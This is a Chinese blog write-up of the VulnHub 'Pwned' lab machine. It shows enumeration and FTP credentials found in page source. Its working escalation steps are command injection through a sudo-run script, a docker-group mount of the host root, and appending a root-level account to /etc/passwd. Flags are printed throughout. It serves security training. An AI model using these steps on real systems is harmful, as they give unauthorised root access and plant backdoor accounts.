vulnhub靶机-Pwned

最新推荐文章于 2024-07-28 23:19:17 发布

0ne_

最新推荐文章于 2024-07-28 23:19:17 发布

阅读量1.9k

点赞数 2

分类专栏： vulnhub靶机

本文链接：https://blog.csdn.net/weixin_43784056/article/details/107340384

版权

vulnhub靶机专栏收录该内容

40 篇文章 14 订阅

订阅专栏

有这么久没写了，这次就写一下目前vulnhub最新出的靶机Pwned，目的是拿到3个flag，难度是easy，但是较我以往的博客多了一种提权方式

1、寻找靶机地址：192.168.0.118

nmap -sn 192.168.0.0/24

2、扫描靶机开放端口

root@kali:~# nmap -p- -A 192.168.0.118
Starting Nmap 7.80 ( https://nmap.org ) 
Nmap scan report for 192.168.0.118
Host is up (0.00051s latency).
Not shown: 65532 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 fe:cd:90:19:74:91:ae:f5:64:a8:a5:e8:6f:6e:ef:7e (RSA)
|   256 81:32:93:bd:ed:9b:e7:98:af:25:06:79:5f:de:91:5d (ECDSA)
|_  256 dd:72:74:5d:4d:2d:a3:62:3e:81:af:09:51:e0:14:4a (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Pwned....!!
MAC Address: 08:00:27:D7:03:E4 (Oracle VirtualBox virtual NIC)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=7/14%OT=21%CT=1%CU=35398%PV=Y%DS=1%DC=D%G=Y%M=080027%T
OS:M=5F0D6851%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=104%TI=Z%CI=Z%II=I
OS:%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O
OS:5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6
OS:=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O
OS:%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=
OS:0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%
OS:S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(
OS:R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=
OS:N%T=40%CD=S)

Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.51 ms 192.168.0.118

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.44 seconds

3、ftp连接21号端口，发现没有权限查看，应该是不允许匿名访问，需要登录，但是我们现在没有任何线索，所以现在先放着

4、访问80端口，首页没有发现什么有用的东西

接着手工尝试一些常见的文件，发现存在robots.txt

访问nothing目录，发现有一个nothing.html文件

点击nothing.html访问，右键查看源代码，也没有有用的信息

5、扫描目录，发现一个新的hidden_text

root@kali:~# gobuster dir --url http://192.168.0.118/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://192.168.0.118/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/07/14 14:39:54 Starting gobuster
===============================================================
/nothing (Status: 301)
/server-status (Status: 403)
/hidden_text (Status: 301)
===============================================================
2020/07/14 14:42:39 Finished
===============================================================

访问该目录，发现一个secret.dic文件，看后缀名像是一个字典文件

点击访问之后，得到了一些目录名和文件名

将其下载下来，并使用它对网站进行目录扫描，发现了pwned.vuln是可用的

root@kali:~# wget http://192.168.0.118/hidden_text/secret.dic
--2020-07-14 16:19:18--  http://192.168.0.118/hidden_text/secret.dic
正在连接 192.168.0.118:80... 已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度：211
正在保存至: “secret.dic”

secret.dic                         100%[==============================================================>]     211  --.-KB/s  用时 0s      

(13.8 MB/s) - 已保存 “secret.dic” [211/211])

root@kali:~# gobuster dir --url http://192.168.0.118 --wordlist secret.dic 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://192.168.0.118
[+] Threads:        10
[+] Wordlist:       secret.dic
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/07/14 16:20:10 Starting gobuster
===============================================================
//pwned.vuln (Status: 301)
===============================================================
2020/07/14 16:20:10 Finished
===============================================================
root@kali:~#

访问该文件，右键查看源代码，发现了被注释的php代码，里面有个用户名和密码：ftpuser/B0ss_B!TcH，这个很容易就能联想到ftp登录

6、再次访问ftp。使用上面的用户名和密码进行登录，得到了两个文件，一个ssh免密登录的私钥文件和一个note.txt文件，根据note.txt文件的内容可以知道免密登录的用户是ariana


Wow you are here 

ariana won't happy about this note 

sorry ariana :( 



note.txt

7、免密登录、拿到第一个flag

root@kali:~/桌面# chmod 600 id_rsa 
root@kali:~/桌面# ssh -i id_rsa ariana@192.168.0.118
Linux pwned 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
ariana@pwned:~$ ls
ariana-personal.diary  user1.txt
ariana@pwned:~$ cat user1.txt 
congratulations you Pwned ariana 

Here is your user flag ↓↓↓↓↓↓↓

fb8d98be1265dd88bac522e1b2182140

Try harder.need become root
ariana@pwned:~$

8、提权拿到第二个flag

使用sudo -l命令可以看到能够以selena的身份免密执行/home/messenger.sh脚本文件

ariana@pwned:~$ sudo -l
Matching Defaults entries for ariana on pwned:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ariana may run the following commands on pwned:
    (selena) NOPASSWD: /home/messenger.sh
ariana@pwned:~$

查看该脚本文件内容和权限，发现是不能修改的，但是msg存在提权漏洞

ariana@pwned:~$ cat /home/messenger.sh 
#!/bin/bash

clear
echo "Welcome to linux.messenger "
                echo ""
users=$(cat /etc/passwd | grep home |  cut -d/ -f 3)
                echo ""
echo "$users"                                                                                                                             
                echo ""                                                                                                                   
read -p "Enter username to send message : " name                                                                                          
                echo ""                                                                                                                   
read -p "Enter message for $name :" msg                                                                                                   
                echo ""
echo "Sending message to $name "

$msg 2> /dev/null

                echo ""
echo "Message sent to $name :) "
                echo ""
ariana@pwned:~$ ls -l /home/messenger.sh 
-rwxr-xr-x 1 root root 367 Jul 10 11:20 /home/messenger.sh
ariana@pwned:~$

在运行shell脚本之前，其实可以先查看一下此环境中是python2还是python3，方便待会使用python提权，因为使用脚本提权之后输入python或者python3都是看不到错误信息的，因为脚本文件中的2> /dev/null。当然，这一步其实也不是必需的。

经测验发现是python3

ariana@pwned:~$ python
-bash: python: command not found
ariana@pwned:~$ python3
Python 3.7.3 (default, Dec 20 2019, 18:57:59) 
[GCC 8.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 
ariana@pwned:~$

运行该shell脚本进行提权，拿到第二个flag

ariana@pwned:~$ sudo -u selena /home/messenger.sh

Welcome to linux.messenger 


ariana:
selena:
ftpuser:

Enter username to send message : 

Enter message for  :/bin/bash

Sending message to  
id
uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)
python3 -c "import pty;pty.spawn('/bin/bash')"
selena@pwned:/home/ariana$ cd ~
selena@pwned:~$ ls
selena-personal.diary  user2.txt
selena@pwned:~$ cat user2.txt 
711fdfc6caad532815a440f7f295c176

You are near to me. you found selena too.

Try harder to catch me
selena@pwned:~$

9、根据上面的id命令执行的结果，发现selena是docker组的，于是使用docker提权，详细的介绍可以看看这篇文章：一种通用的Docker提权方式

如果虚拟机不能通网，可以使用docker images命令查看本地有哪些镜像，直接从本地拉取

selena@pwned:~$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
privesc             latest              09ae39f0f8fc        7 days ago          88.3MB
<none>              <none>              e13ad046d435        7 days ago          88.3MB
alpine              latest              a24bb4013296        6 weeks ago         5.57MB
debian              wheezy              10fcec6d95c4        16 months ago       88.3MB
selena@pwned:~$

就使用alpine镜像进行提权，拿到最后的flag

selena@pwned:~$ docker run -v /:/mnt  -it alpine
/ # cd /mnt/
/mnt # ls
bin             initrd.img.old  mnt             sys
boot            lib             opt             tmp
core            lib32           proc            usr
dev             lib64           root            var
etc             libx32          run             vmlinuz
home            lost+found      sbin            vmlinuz.old
initrd.img      media           srv
/mnt # cd root/
/mnt/root # ls
root.txt
/mnt/root # cat root.txt 
4d4098d64e163d2726959455d046fd7c



You found me. i dont't expect this （◎ . ◎）

I am Ajay (Annlynn) i hacked your server left and this for you.

I trapped Ariana and Selena to takeover your server :)


You Pwned the Pwned congratulations :)

share the screen shot or flags to given contact details for confirmation 

Telegram   https://t.me/joinchat/NGcyGxOl5slf7_Xt0kTr7g

Instgarm   ajs_walker 

Twitter    Ajs_walker 
/mnt/root #

10、拓展

在这里还只是在docker容器中能够查看文件，尝试添加一个特权用户到物理机中

先在本地生成一个hash+salt的密码

root@kali:~# openssl passwd -1 -salt chounana
Password: chounana（输入的chounana是不可见的）
$1$chounana$213YN3khulXhRoSCTSBEM0
root@kali:~#

将格式修改一下

chounana:$1$chounana$213YN3khulXhRoSCTSBEM0:0:0::/root:/bin/bash

将其添加到passwd文件中，注意这里echo命令后面不能跟双引号，只能使用单引号，因为这里有$，双引号中会被当做变量来处理

最后验证一下效果，ctrl+D可退出docker环境，成功提权到物理机的root权限

/mnt/etc # echo 'chounana:$1$chounana$213YN3khulXhRoSCTSBEM0:0:0::/root:/bin/bas
h' >>passwd
/mnt/etc # selena@pwned:~$ su chounana
Password: 
root@pwned:/home/selena# id
uid=0(root) gid=0(root) groups=0(root)
root@pwned:/home/selena# cd ~
root@pwned:~# ls
root.txt
root@pwned:~# cat root.txt 
4d4098d64e163d2726959455d046fd7c



You found me. i dont't expect this （◎ . ◎）

I am Ajay (Annlynn) i hacked your server left and this for you.

I trapped Ariana and Selena to takeover your server :)


You Pwned the Pwned congratulations :)

share the screen shot or flags to given contact details for confirmation 

Telegram   https://t.me/joinchat/NGcyGxOl5slf7_Xt0kTr7g

Instgarm   ajs_walker 

Twitter    Ajs_walker 
root@pwned:~#